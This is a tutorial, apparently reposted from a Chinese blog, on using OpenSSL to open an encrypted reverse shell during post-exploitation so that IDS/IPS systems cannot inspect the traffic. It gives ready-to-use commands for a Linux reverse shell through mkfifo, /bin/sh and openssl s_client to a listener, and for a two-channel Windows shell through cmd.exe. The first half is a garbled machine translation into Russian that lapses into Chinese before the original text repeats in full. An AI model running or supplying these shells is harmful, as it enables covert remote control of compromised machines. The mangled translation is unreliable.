Использование OpenSSL шифрования оболочки отскока

Ссылка: https://xax007.github.io/2019-03-07-reverse-encrypted-shell-with-openssl/

каталог

предисловие

Проведение красной команды этапа тестирования проникновения в целях дальнейшего проникновения безудержной инфильтрации часто нужно подпрыгивать оболочки, здесь перечислено с использованием различных языков подпрыгивать метод оболочки, я обнаружил , что есть способ подпрыгивать оболочки недостатка заключается в том, что весь трафик Они передаются в незашифрованном виде .

Мы использовали тест пс оболочки отскока

Использование Wireshark мы можем видеть выполнение команды и возвращает информацию непосредственно

  

В этом случае, когда мы работаем с системой сетевой обороны обнаружения (IDS, IPS и т.д.) будут приобретаться контент связи, и наши тревоги и остановки, необходимо затемнять или зашифровать содержимое связи, то вы можете использовать OpenSSL шифрования по отскок оболочки.

Введение в OpenSSL

Над компьютерной сети, OpenSSL является пакетом библиотеки с открытым исходным кодом, приложение может использовать пакет для безопасной связи, предотвращения подслушивания, а другой конец соединен, чтобы подтвердить личность человека

Необходимо создать собственный сертификат перед использованием отскока оболочки OpenSSL

Использование OpenSSL для создания собственного сертификата

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes 

Вам будет предложено ввести информацию о сертификате для создания собственного сертификата, если вы не можете беспокоить, чтобы заполнить весь путь круглыми

Использование OpenSSL шифрования оболочки отскока

Linux

Предположим, что мы размещаем отскок оболочки от А до B хоста

------------------                  ----------------------
| A:172.16.1.175 |  --- shell ---> | B:172.16.1.174:1337 | ------------------ ---------------------- 

Первый шаг, необходимый для создания собственного сертификата на использование, использовать OpenSSL для прослушивания на хост порт B, порт 1337 здесь используется

Командное:

openssl s_server -quiet -key key.pem -cert cert.pem -port 1337 

В этом случае порт OpenSSL 1337 запускает сервер / TLS SSL

В этом случае выполняют операцию отскока оболочки хоста B, команда:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.1.174:1337 > /tmp/s; rm /tmp/s 

Это использование OpenSSL шифрования отскока в оболочке

Результаты таковы:

使用 wireshark 抓包可以看到,A 和 B 主机之间在使用 TLS1.2 协议进行加密通信

Windows

在 Windows 系统上反弹加密 shell 的方式有点不一样

具体命令如下:

openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2] 

以上命令会从 [ip]:[port1] 获取命令发送给 cmd.exe执行,然后把结果返回到 [ip]:[port2]

因此在本机需要启动两个 s_server

从 port1 发送命令到 cmd

openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1] 

从 port2 获取发送给 port1 的命令执行结果

openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2] 

OpenSSL 还有很多功能,这里详细的列出了 OpenSSL 的常见使用方法

在渗透测试时,还可以使用 OpenSSL 搭建简易 HTTPS Server

使用 OpenSSL 搭建简易 HTTPS Server

使用以下命令前需要使用 OpenSSL 生成证书自签名证书,命令在上文中已给出

openssl s_server -key key.pem -cert cert.pem -accept 44330 -WWW 

以上命令在 44330 端口启动了一个 HTTPS Server

参考链接

目录

前言

在进行红队渗透测试的后渗透阶段为了进一步横行渗透往往需要反弹 shell,这里列出了使用各种语言进行反弹 shell 的方法,我发现这种反弹 shell 方式都有一个缺点,那就是所有的流量都是明文传输的

我们使用 nc 反弹 shell 进行测试

使用 wireshark 可以直接看到我们执行的命令和返回信息

  

在这种情况下当我们进行操作时,网络防御检测系统(IDS、IPS等)会获取到我们的通信内容并进行告警和阻止,因此需要对通信内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密 shell。

OpenSSL 简介

在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份

利用 OpenSSL 反弹 shell 之前需要生成自签名证书

使用 OpenSSL 生成证书自签名证书

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes 

生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车

使用 OpenSSL 反弹加密 shell

Linux

假设我们从 A 主机反弹 shell 到 B 主机

------------------                  ----------------------
| A:172.16.1.175 |  --- shell ---> | B:172.16.1.174:1337 | ------------------ ---------------------- 

首先需用利用上一步生成的自签名证书,在 B 主机上使用 OpenSSL 监听一个端口,在这里使用 1337 端口

命令为:

openssl s_server -quiet -key key.pem -cert cert.pem -port 1337 

此时 OpenSSL 在 1337 端口上启动了一个 SSL/TLS server

这时在 B 主机进行反弹 shell 操作,命令为:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.1.174:1337 > /tmp/s; rm /tmp/s 

这样就使用 OpenSSL 反弹了一个加密的 shell

效果如下:

使用 wireshark 抓包可以看到,A 和 B 主机之间在使用 TLS1.2 协议进行加密通信

Windows

在 Windows 系统上反弹加密 shell 的方式有点不一样

具体命令如下:

openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2] 

以上命令会从 [ip]:[port1] 获取命令发送给 cmd.exe执行,然后把结果返回到 [ip]:[port2]

因此在本机需要启动两个 s_server

从 port1 发送命令到 cmd

openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1] 

从 port2 获取发送给 port1 的命令执行结果

openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2] 

OpenSSL 还有很多功能,这里详细的列出了 OpenSSL 的常见使用方法

在渗透测试时,还可以使用 OpenSSL 搭建简易 HTTPS Server

使用 OpenSSL 搭建简易 HTTPS Server

使用以下命令前需要使用 OpenSSL 生成证书自签名证书,命令在上文中已给出

openssl s_server -key key.pem -cert cert.pem -accept 44330 -WWW 

以上命令在 44330 端口启动了一个 HTTPS Server

参考链接

рекомендация

отwww.cnblogs.com/Dubing-ydfc/p/11749241.html